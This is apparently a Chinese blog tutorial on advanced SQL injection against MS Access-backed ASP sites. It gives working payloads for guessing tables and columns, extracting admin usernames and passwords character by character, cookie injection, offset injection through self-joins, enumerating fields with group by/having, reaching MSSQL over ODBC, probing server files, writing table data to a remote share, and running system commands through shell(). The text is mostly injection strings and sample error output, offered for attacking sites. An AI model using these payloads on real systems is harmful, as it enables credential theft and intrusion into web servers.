当前位置: 首页 > news >正文

Access数据库注入高级玩法

author:RoGe

一,基础篇
猜解表名,这里借用啊D的语句:
and exists (select * from 表名)

猜解列名:
and exists (select 字段 from 表名)
UNION法,在执行union之前建议进行下order by这样会更快。

联合查询:
select name,password,id from user union select user,pwd,uid from

如果遇到order by 错误提示,执行下2次union可解决
and 1=2 union select 1,2,3,4,5 from 表名 union select 1,2,3,4,5 from 表名

爆指定表名内容:
and 1=2 union select 1,2,3,4,5 from 表名

ASCII逐字解码法:
1、猜解列长度

猜解语句:
and (select top 1 len(列名)from 表名)>N
and (select top 1 len(列名)from 表名)=N
其中N是数字,变换这个N的值猜解列长度,例如:
and (select top 1 len(列名)from 表名)>1
and (select top 1 len(列名)from 表名)>6
如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7

。因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用:
select top 1 len(列名) from 表名
where 列名 not in (select top 1 列名 from 表名)

2、ASCII码分析法猜解用户和密码
ASC()函数和Mid函数
例如:mid(列名,N,1)
ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII码
猜解语句为:
and (select top 1 asc(mid(字段,1,1)) from 数据库名)=ASC码(通过转换工具换)
区间判断语句:
“……between……and……”
中文处理法:
当ASCII转换后为“负数”使用abs()函数取绝对值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码(通过转换工具换)
ASCII逐字解码法的应用:
1、猜解表名:
and (select count(*) from admin)<>0
2、猜解列名:
and (select count(列名) from 表名)<>0
3、猜解管理员用户个数:
and (select count(*) from 表名)=1
返回正常,表中有一条记录。
4、猜解管理员用户名的长度:
and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解管理员用户名:
and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:
and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理员的密码:
按照上面的原理,只要把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到管理员的密

码了。
搜索型注入漏洞利用猜解语句:
关键字%’ and 1=1 and ‘%’='%
关键字%’ and 1=2 and ‘%’='%
将and 1=1 换成注入语句就可以了。

cookie注入语句:
javascript:alert(document.cookie=”id=”+escape(“44 and 1=1″));
javascript:alert(document.cookie=”id=”+escape(“44 and 1=2″));
猜解语句:
猜解长度:
javascript:alert(document.cookie=”id=”+escape(“44 and (select len(password) from admin)

=16″))
猜解内容:
javascript:alert(document.cookie=”id=”+escape(“44 and (select asc(mid(username)) from

admin)=97″))

二,高级篇

1,Acc的偏移注入
条件,知道一表名,一字段,一般来说ID字段还是有的。
假如你知道order by 出的列数是20,那么,要知道admin表里的字段数,可以这样,
and 1=2 union select 1,2,3,4,5,6,7,8,* from admin 出错,继续,
and 1=2 union select 1,2,3,4,5,6,7,8,9,* from admin 逐一增加,直到返回正常
这里要说下盲注,假如and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,* from admin
返回正常,此时可能会爆出admin表的字段,取决于admin表的复杂程度和RP

假如到15时返回正常,说明admin的字段数为20-15=5个,下面来自联,自联还有一个重要的条件就是

admin的字段数*2 < order by 出的列数,可以看出自联的条件很严格的

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)

以id为条件,将admin表的字段数加倍,这个(admin as a inner join admin as b on a.id=b.id)是

admin表自连接,这样from 后面的表就会成为字段数加倍的表,前面10+2*5 = 20 个字段 就是合法的

。* 代表的字段就会拓宽 加大username password在可显示位置的几率。

如果不在怎么办? 那么

union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on

a.id=b.id)

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on

a.id=b.id)

大家是否觉得很疑惑 10+ 2 + 5*2 = 22 > 20 但这条语句是合法的

这个地方很关键,他为什么会是合法的语句,这个地方是技术核心 必须理解。前边是 22 后边是 20

怎么可能相等?因为a.id 和 b.id在 * 里是有的,那么计算机自动去掉重复的 保持集合里元素的唯

一性,这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱 很有可能让

username password偏移到可显示的位置。

如果还没成功 怎么办?

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from ((admin as a inner join admin as

b on a.id=b.id) inner join admin as c on a.id=c.id)

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,d.id,* from (((admin as a inner join

admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on

a.id=d.id)

2,having语句,group by 语句
在Access数据库里,也支持having 和 group by 语句,众所周知,这2个语句我们常用来枚举字段

名的,在Mssql数据库中很好使。在acc中就有些别扭了。这里分情况讨论,
a:如果站点的Sql查询语句为 select id,name,address from 表名,也就是说查询的是特定的字段数

据,那么我们可以这么暴, productshow.asp?id=25 group by 1 having 1=1(数字型),如果字符

型就 ‘ group by 1 having ’1′=’1′
返回的错误:
Microsoft JET Database Engine (0x80040E21)
试图执行的查询中不包含作为合计函数一部分的特定表达式 ‘id’ 。

爆出id字段,继续,productshow.asp?id=25 group by 1,id having 1=1
返回错误:

Microsoft JET Database Engine (0x80040E21)
试图执行的查询中不包含作为合计函数一部分的特定表达式 ‘email’ 。

依次类推productshow.asp?id=25 group by 1,id,email having 1=1
b:如果站点的原来SQL查询语句为select * from product where id=”&ID&”,那么执行上述语句就会返

回这样的错误:
Microsoft JET Database Engine 错误 ’80040e21′

不能将已选定 ‘*’ 的字段中组合。

/productshow.asp,行 18

这时我们可以这样爆字段,productshow.asp?id=25 having sum(1)=1(数字型),字符型(‘ having

sum(’1′)=’1′)
返回的错误:
Microsoft JET Database Engine 错误 ’80040e21′

试图执行的查询中不包含作为合计函数一部分的特定表达式 ‘id’ 。

/productshow.asp,行 18
可以看出爆出了ID
但这样很有局限性,只能爆出第一个id,其他的没办法了。那只能盲猜了。

productshow.asp?id=25 and id=1 不报错,productshow.asp?id=25 and name=1 返回错误:

Microsoft JET Database Engine 错误 ’80040e10′

至少一个参数没有被指定值。

/productshow.asp,行 18

3.连接到MsSQL数据库
productshow.asp?id=25 and 1=2 union Select top 1 1,2,table_name from [ODBC;Driver=SQL

Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables

这样master库的第一个表名就出来了
获得后面的表名也很简单
union Select top 1 1,2,table_name from [ODBC;Driver=SQL

Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables where

table_name not in (select top 1 table_name from

[ODBC;Driver=SQLServer;UID=dbo;PWD=dba;Server=****;DataBase=master].information_schema.ta

bles)
如果数据库里的ID是字符型

‘ union Select top 1 1,2,table_name from

[ODBC;Driver=SQLServer;UID=dbo;PWD=dba;Server=***;DataBase=master].information_schema.tab

les where ’1′=’1′

返回的错误:
Microsoft JET Database Engine 错误 ’80004005′

ODBC–连接到 ‘SQL Server******’ 失败。

如果这个错误返回延迟较长时间,说明database不允许连接,如果错误返回很快,没时间延迟,说

明提供的账号或者密码有误。

4.映射本地驱动器

使用in语句,比如 productshow.asp?id=25 and 1=2 union select * from admin in ‘.’

返回的错误:
Microsoft JET Database Engine 错误 ’80004005′

Microsoft Jet 数据库引擎打不开文件’c:\windows\system32\inetsrv’。 它已经被别的用户以独

占方式打开,或没有查看数据的权限。

此查询可用于检测目录和文件,对于猜解网站目录很有用。

再比如:productshow.asp?id=25 and 1=2 union select * from admin in ‘C:\windows\ODBC.ini’

返回错误:
Microsoft JET Database Engine 错误 ’80004005′

不可识别的数据库格式 ‘C:\windows\ODBC.INI’。

说明该文件存在,只是不是数据库。

productshow.asp?id=25 and 1=2 union select * from admin in ‘C:\windows\123.ini’

返回错误:
Microsoft JET Database Engine 错误 ’80004005′

找不到文件 ‘C:\windows\123.ini’。

该文件不存在。

5.写文件

说到写文件,这里不得不提下lake2的那篇文章,”SQL注入Access导出WebShell”
如果我们执行这样的语句:
SELECT * into [test.txt] in ‘d:\web\’ ‘text;’ from admin
SELECT * into [test.txt] in ‘\\yourip\share’ ‘text;’ from admin
在d:\web目录下就会生成test.txt文件,其内容就是表admin的内容,这条语句要执行是要有一定的

条件的,单句执行没什么问题,但是放到注入点里执行时,等待你的是2种结果:1.动作查询不能作为

行为的来源。2,如果在子语句,会提示子语句不支持此查询,也就是说不能在子查询和UNION查询中

,实用价值不大实属鸡肋。但是这个还是必须得知道的。

6.执行系统命令
首先有必要介绍一下沙盒模式

为了安全起见,MS在Jet引擎的Sp8中,设置了一个名为SandBoxMode的开关,这个开关是开启一些特殊

函数在另外的执行者中执行的权限的.它的注册表位置在
HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默认是2.微软关于这个键

值的介绍为:0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,
2则是必须是Access的模式下,3则是完全开启,连Access中也不支持.

Access也能执行系统命令,有个前提条件就是沙盒模式要是关闭的。如:

productshow.asp?id=25 and 1=2 union select curdir() from msysaccessobjects

and 1=2 union select dir(‘c:\ ‘) from msysaccessobjects

union select environ(1) from msysaccessobjects

union select filedatetime(‘c:\boot.ini’) from msysaccessobjects

union select filelen(‘c:\boot.ini’) from msysaccessobjects

union select getattr(‘c:\ ‘) from msysaccessobjects

union select shell(”) from msysaccessobjects
可执行文件将以IIS匿名账户运行

如果沙盒模式开启的话,就会返回这样的错误

Microsoft JET Database Engine 错误 ’80040e14′

表达式中 ‘curdir’ 函数未定义

相关文章:

  • 两个SQL语句判断数据库web是否分离
  • MYSQL注入中load_file()函数的进一步应用
  • load_file() MYSQL入侵时查看常用敏感信息文件
  • 渗透实战之安全设备踩点
  • MS SQL注入碰到关键词被过滤后的解决思路
  • MSSQL注入利用Group byhaving猜表名和字段名
  • 一份比较详细的DOS命令说明!
  • 一次利用imap漏洞的入侵
  • 学习SQL注入
  • Ubuntu配置apache
  • linux敏感文件
  • 修改Banner
  • ssh反向连接
  • PHP通用防注入安全代码
  • ASP木马Webshell安全解决办案
  • “寒冬”下的金三银四跳槽季来了,帮你客观分析一下局面
  • Android单元测试 - 几个重要问题
  • canvas 五子棋游戏
  • exif信息对照
  • export和import的用法总结
  • Java新版本的开发已正式进入轨道,版本号18.3
  • Kibana配置logstash,报表一体化
  • Less 日常用法
  • spring security oauth2 password授权模式
  • 不上全站https的网站你们就等着被恶心死吧
  • 巧用 TypeScript (一)
  • 这几个编码小技巧将令你 PHP 代码更加简洁
  • 函数计算新功能-----支持C#函数
  • ​MPV,汽车产品里一个特殊品类的进化过程
  • #define
  • #Linux(Source Insight安装及工程建立)
  • #我与Java虚拟机的故事#连载03:面试过的百度,滴滴,快手都问了这些问题
  • (03)光刻——半导体电路的绘制
  • (1)Android开发优化---------UI优化
  • (175)FPGA门控时钟技术
  • (zt)最盛行的警世狂言(爆笑)
  • (紀錄)[ASP.NET MVC][jQuery]-2 純手工打造屬於自己的 jQuery GridView (含完整程式碼下載)...
  • (南京观海微电子)——I3C协议介绍
  • (亲测)设​置​m​y​e​c​l​i​p​s​e​打​开​默​认​工​作​空​间...
  • (原)本想说脏话,奈何已放下
  • (转)scrum常见工具列表
  • (轉貼) 資訊相關科系畢業的學生,未來會是什麼樣子?(Misc)
  • ..回顾17,展望18
  • ./mysql.server: 没有那个文件或目录_Linux下安装MySQL出现“ls: /var/lib/mysql/*.pid: 没有那个文件或目录”...
  • .NET Core 将实体类转换为 SQL(ORM 映射)
  • .NET/C# 中你可以在代码中写多个 Main 函数,然后按需要随时切换
  • .NET6使用MiniExcel根据数据源横向导出头部标题及数据
  • .NET设计模式(2):单件模式(Singleton Pattern)
  • .vue文件怎么使用_我在项目中是这样配置Vue的
  • @EventListener注解使用说明
  • []我的函数库
  • [2017][note]基于空间交叉相位调制的两个连续波在few layer铋Bi中的全光switch——
  • [AI]ChatGPT4 与 ChatGPT3.5 区别有多大
  • [c#基础]DataTable的Select方法
  • [C++]打开新世界的大门之C++入门